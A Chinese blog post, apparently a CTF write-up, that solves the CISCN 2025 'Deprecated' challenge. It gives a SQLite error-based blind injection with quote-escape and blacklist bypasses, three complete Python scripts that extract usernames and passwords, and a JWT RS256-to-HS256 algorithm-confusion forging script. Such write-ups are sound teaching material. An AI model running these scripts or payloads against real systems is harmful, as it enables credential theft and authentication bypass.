比较套路化的sqlite注入——Deprecated
原创
珂字辈
珂字辈
珂技知识分享
2026年8月26日 09:47
湖北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
题目
https://github.com/BK-Sec/2025CISCN/tree/main/Web/Deprecated
环境
https://github.com/btop251/ciscn-2025-Deprecated
比较套路化,routes/index.js中的/feedback接口存在SQL注入,使用了sqlite数据库。
const badwordCheck= (data) => { data=data.toLowerCase(); let badwords = /system|blob|exec|date|rand|char|regexp|unicode|load/g; return !!data.match(badwords);};......router.post('/feedback', (req,res) => { try{ let message=req.body.message.replace(/'/g,\"\\\\'\").replace(/\"/g,\"\\\\\\\"\"); if(badwordCheck(message)){ return res.send('Forbidden word in message.'); } db.sendFeedback(message); }catch(err){ throw (err.toString()); } return res.send('OK');});
可以看到,单双引号都被转义,有一堆方法过滤,跟进到utils/DButil.js
sendFeedback(message){ db.prepare(`INSERT INTO messages VALUES('${message}')`).run(); }
显然可以用反斜杠突破前面的单引号,注释突破后面的单引号,这里只能基于报错的布尔盲注,在sqlite中就是经典的abs(0x8000000000000000)。因此基础payload就是这样的。
POST /feedback HTTP/1.1Host: myweb:8081Content-Length: 236Content-Type: application/x-www-form-urlencoded message=test\\'-(case when 1=2 then 1 else abs(0x8000000000000000) end)) --
如何注用户名密码呢?由于关键的char和unicode被过滤掉了,只能使用hex,这样等同于hex('a'),也就是61。
hex(substr((select+group_concat(username)+from+users),1,1))
如果是mysql,后面取0-ff范围比较即可。但是sqlite的类型检测非常严格,hex('a')得到的是text 61,无法跟int 61比较。
而这题我们又无法使用引号,这使得我们无法得到a字符串,在mysql中还有0x61='a'的办法,在sqlite中也不行。
聪明的人会想到强制类型转化,我可以将text 61转成int 61。
CAST(hex(substr((select+group_concat(username)+from+users),1,1))+AS+INTEGER)
这样确实可以,但是也仅限一部分hex后没有A-F的字符,比如hex('m')就会丢失一位。
无奈去补sqlite的知识,发现这也是个以前考过的tips,就是考如何构造A-F的字符串,其中CDE是可以裸构造出来的。
https://www.anquanke.com/post/id/222625
table['C'] = 'trim(hex(typeof(.1)),12567)' table['D'] = 'trim(hex(0xffffffffffffffff),123)' table['E'] = 'trim(hex(0.1),1230)'
因为过滤函数的不同,我们可以依葫芦画瓢,构造AF。
table['A'] = 'substr(upper(typeof(.1)),3,1)' table['F'] = 'substr(upper(cast(1e999 as text)),3,1)'
最后B因为过滤了blob导致很难构造出来。和AI讨论了很多方案,最合理的是。
table['B'] = 'substr((select group_concat(sql)from sqlite_master),10,1)'
它会获取到第一条SQL语句CREATE TABLE,里面有字符串B。
除此之外,我们还可以利用hex([0-9A-F])没有A-F这一特性,进行二次hex。
hex(substr(hex(substr((select+group_concat(username)+from+users),1,1)),1,1))=3||6
但这样会损失爆破效率。
当然,更简单的办法是直接注册一个用户名为ABCDEF的账户,这样就能轻松用substr获取想要的A-F。
PS:扩展一下,如果这题过滤了substr,注册6个账户就行。
让AI帮我们写出三种不同方案的爆破脚本
1,注册ABCDEF账户方案
import stringimport requests TARGET_URL = \"http://myweb:8081/feedback\" # 可用的爆破字符集CHARSET = string.ascii_letters + string.digits + \"{},.\" # 通过已知 password (123456) 精准定位用户名是 ABCDEF 的记录HEX_MAP = { \"0\": \"0\", \"1\": \"1\", \"2\": \"2\", \"3\": \"3\", \"4\": \"4\", \"5\": \"5\", \"6\": \"6\", \"7\": \"7\", \"8\": \"8\", \"9\": \"9\", \"A\": \"substr((select username from users where cast(password as INTEGER)=123456),1,1)\", \"B\": \"substr((select username from users where cast(password as INTEGER)=123456),2,1)\", \"C\": \"substr((select username from users where cast(password as INTEGER)=123456),3,1)\", \"D\": \"substr((select username from users where cast(password as INTEGER)=123456),4,1)\", \"E\": \"substr((select username from users where cast(password as INTEGER)=123456),5,1)\", \"F\": \"substr((select username from users where cast(password as INTEGER)=123456),6,1)\",} def build_hex_expression(char): \"\"\"将字符转换成大写 HEX,并用 || 拼接(如 'j' -> '6A' -> 6||A)\"\"\" hex_str = char.encode().hex().upper() parts = [HEX_MAP[c] for c in hex_str] return \"||\".join(parts) def check_char(pos, char): target_hex_expr = build_hex_expression(char) # 构造与你原本格式完全一致的 Payload payload = ( f\"test\\\\'-(case/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/\" f\"when hex(substr((select group_concat(password) from users),{pos},1))={target_hex_expr}\" f\" then 1 else abs(0x8000000000000000) end)) -- \" ) #print(payload) data = {\"message\": payload} headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"} try: response = requests.post(TARGET_URL, data=data, headers=headers, timeout=5) # 依据:条件成立时 SQL 正常执行,返回 OK return response.status_code == 200 and \"OK\" in response.text except requests.exceptions.RequestException: return False def dump_usernames(): result = \"\" print(\"[+] Starting dump using password=123456 anchor mapping...\") pos = 1 while True: found = False for char in CHARSET: if check_char(pos, char): result += char print( f\"[+] Pos {pos}: '{char}' (HEX: {char.encode().hex().upper()}) -> Current Result: {result}\" ) found = True break if not found: print(f\"\
[+] Extracted usernames: {result}\") break pos += 1 if __name__ == \"__main__\": dump_usernames()
2,特殊手法构造A-F
import stringimport requests TARGET_URL = \"http://myweb:8081/feedback\" # 可用的爆破字符集CHARSET = string.ascii_letters + string.digits + \"{},.\" # 1. 纯原生 SQL 表达式构造 A-F(无需单引号、无需注册特定账号、绕过 blob 过滤)SQL_A = \"substr(upper(typeof(.1)),3,1)\" # typeof(.1) -> 'real' -> 'REAL' -> 提取 'A'SQL_B = \"substr((select group_concat(sql)from sqlite_master),10,1)\" # 'CREATE TABLE...' -> 提取 'B'SQL_C = \"trim(hex(typeof(.1)),12567)\" # typeof(.1) -> 'real' -> '7265616C' -> 提取 'C'SQL_D = ( \"trim(hex(0xffffffffffffffff),123)\" # -1 -> HEX -> '2D31' -> 提取 'D')SQL_E = \"trim(hex(0.1),1230)\" # '0.1' -> HEX -> '302E31' -> 提取 'E'SQL_F = ( \"substr(upper(cast(1e999 as text)),3,1)\" # '1e999' -> 'Infinity' -> 'INFINITY' -> 提取 'F') # 2. 建立 HEX 字符映射字典HEX_MAP = { \"0\": \"0\", \"1\": \"1\", \"2\": \"2\", \"3\": \"3\", \"4\": \"4\", \"5\": \"5\", \"6\": \"6\", \"7\": \"7\", \"8\": \"8\", \"9\": \"9\", \"A\": SQL_A, \"B\": SQL_B, \"C\": SQL_C, \"D\": SQL_D, \"E\": SQL_E, \"F\": SQL_F,} def build_hex_expression(char): \"\"\"将字符转换为大写 HEX,并用 || 拼接为 SQL 表达式(如 'j' -> '6A' -> 6||SQL_A)\"\"\" hex_str = char.encode().hex().upper() parts = [HEX_MAP[c] for c in hex_str] return \"||\".join(parts) def check_char(pos, char): target_hex_expr = build_hex_expression(char) # 构造无需任何单引号的条件盲注 Payload payload = ( f\"test\\\\'-(case/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/\" f\"when hex(substr((select group_concat(username) from users),{pos},1))={target_hex_expr}\" f\" then 1 else abs(0x8000000000000000) end)) -- \" ) data = {\"message\": payload} headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"} try: response = requests.post(TARGET_URL, data=data, headers=headers, timeout=5) # 条件成立时正常返回 200 OK return response.status_code == 200 and \"OK\" in response.text except requests.exceptions.RequestException: return False def dump_data(): result = \"\" print(\"[+] Starting dump using pure native SQL expression mapping...\") pos = 1 while True: found = False for char in CHARSET: if check_char(pos, char): result += char print( f\"[+] Pos {pos}: '{char}' (HEX: {char.encode().hex().upper()}) -> Current Result: {result}\" ) found = True break if not found: print(f\"\
[+] Extracted result: {result}\") break pos += 1 if __name__ == \"__main__\": dump_data()
3,二次hex规避A-F
import stringimport requests TARGET_URL = \"http://myweb:8081/feedback\" # 可用的爆破字符集CHARSET = string.ascii_letters + string.digits + \"{},.-_!\" # 16进制字符 (0-9, A-F) 对应的二次 HEX 数字表达映射DOUBLE_HEX_MAP = { \"0\": \"3||0\", \"1\": \"3||1\", \"2\": \"3||2\", \"3\": \"3||3\", \"4\": \"3||4\", \"5\": \"3||5\", \"6\": \"3||6\", \"7\": \"3||7\", \"8\": \"3||8\", \"9\": \"3||9\", \"A\": \"4||1\", \"B\": \"4||2\", \"C\": \"4||3\", \"D\": \"4||4\", \"E\": \"4||5\", \"F\": \"4||6\",} def check_hex_char(target_pos, hex_char_idx, hex_char): \"\"\"验证目标字段第 target_pos 个字符的 HEX 编码中的第 hex_char_idx 位是否为 hex_char\"\"\" target_double_hex = DOUBLE_HEX_MAP[hex_char] payload = ( f\"test\\\\'-(case/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/\" f\"when hex(substr(hex(substr((select group_concat(username) from users),{target_pos},1)),{hex_char_idx},1))={target_double_hex}\" f\" then 1 else abs(0x8000000000000000) end)) -- \" ) data = {\"message\": payload} headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"} try: response = requests.post(TARGET_URL, data=data, headers=headers, timeout=5) return response.status_code == 200 and \"OK\" in response.text except requests.exceptions.RequestException: return False def dump_data(): result = \"\" print(\"[+] Starting dump using Double-HEX technique...\") pos = 1 while True: # 1. 爆破第一个 HEX 字符(如 '6') first_hex = None for h in DOUBLE_HEX_MAP.keys(): if check_hex_char(pos, 1, h): first_hex = h break if not first_hex: print(f\"\
[+] Extraction complete! Final result: {result}\") break # 2. 爆破第二个 HEX 字符(如 'A') second_hex = None for h in DOUBLE_HEX_MAP.keys(): if check_hex_char(pos, 2, h): second_hex = h break if not second_hex: break # 3. 将组合出的 HEX 还原为原始字符 ('6A' -> 'j') char_hex = first_hex + second_hex char = bytes.fromhex(char_hex).decode(\"latin-1\", errors=\"ignore\") result += char print( f\"[+] Pos {pos}: HEX={char_hex} -> '{char}' | Current: {result}\" ) pos += 1 if __name__ == \"__main__\": dump_data()
得到admin/114514,登录之后有公钥和提示。
这就涉及checkfile接口,需要File-Priviledged-User权限。
其实就是需要篡改jwt,登录后的jwt属性如下。
很常见的RS256->HS256算法混淆漏洞,脚本如下。
import base64import hashlibimport hmacimport json
PUBLIC_KEY = \"\"\"-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAydTyE7rE8M2ZyKq3QYFd8203XcTzU5UIDD/1MK4O+gGvwjvofz18jm8q++CPuKBj4UZUCvdqXXgV6fm6duNrZG2xQLES6hlaye7vJTquHsNoO5o5KjiufTeKm3mFmCTiqb6fQC386dH56iB+jso5n2a2xl4VL8+IFaoJVyWfht0EGdsQ6zpE2GrWqFRIeLz+CNU6+6Vx7SGA9H+VwWSS1+BI+bk/PJSS+0DE4FMctCx8OrT+y/SSRf/bIFbzNHRaZvAsIOC0AHtPVlxngBVan3YiXGpNr9T9uvespX74nYSQDy9VqUQnCNa+y9ceoV88wO7vp/XFT1Nndk+dUfAeIwIDAQAB-----END PUBLIC KEY-----\"\"\"
OLD_TOKEN = \"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicHJpdmlsZWRnZSI6IlRlbXAgVXNlciIsImlhdCI6MTc4NzY1MjIxNX0.Lxg7ibp1ZH6lHxIfLNCWY-SkJeg3cgRBuHyQg0TIK3K3Paei3gKhfUQ4W07WEF5TC0rJ9Lf72W8rB-wwdHWWagJ251oRkJdVDgiXkGkVLDxXqcpMTkLRVzZaYF0PlWcNo0AxSgcQUaBpBNJCzw0WHpByaxtkgvo0pXM4J-SyfSHKKeuMvCcJCLaEBS5q7YLc-UHD0IT8EA5Jpd8lMNTKHgeVVL8x-hnn2I5CGapdVZecrydtRRaRUrHDqrS9Gb2oYBcoyGUr3dDNJw8jjgCVVBmkKQdtaJxc8s9sOPVMS5bx7ab6yTxQD228uEuqNND0LPfBWSBnnITby8S7VPG7RA\"
def b64url_encode(data: bytes) -> str: return base64.urlsafe_b64encode(data).decode(\"utf-8\").rstrip(\"=\")
# 1. 强制将 Header 算法改为 HS256header = {\"alg\": \"HS256\", \"typ\": \"JWT\"}
# 2. 修改 Payload 中的权限字段payload_b64 = OLD_TOKEN.split(\".\")[1]payload_b64 += \"=\" * ((4 - len(payload_b64) % 4) % 4)payload = json.loads(base64.urlsafe_b64decode(payload_b64).decode())payload[\"priviledge\"] = \"File-Priviledged-User\"
# 3. 进行无空格无换行的 Base64URL 编码header_str = b64url_encode( json.dumps(header, separators=(\",\", \":\")).encode(\"utf-8\"))payload_str = b64url_encode( json.dumps(payload, separators=(\",\", \":\")).encode(\"utf-8\"))signing_input = f\"{header_str}.{payload_str}\".encode(\"utf-8\")
# 4. 强制使用公钥文本做 HMAC-SHA256 签名signature = hmac.new( PUBLIC_KEY.encode(\"utf-8\"), signing_input, hashlib.sha256).digest()signature_str = b64url_encode(signature)
# 5. 输出伪造的 Tokennew_token = f\"{header_str}.{payload_str}.{signature_str}\"print(new_token)
最终获取flag
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论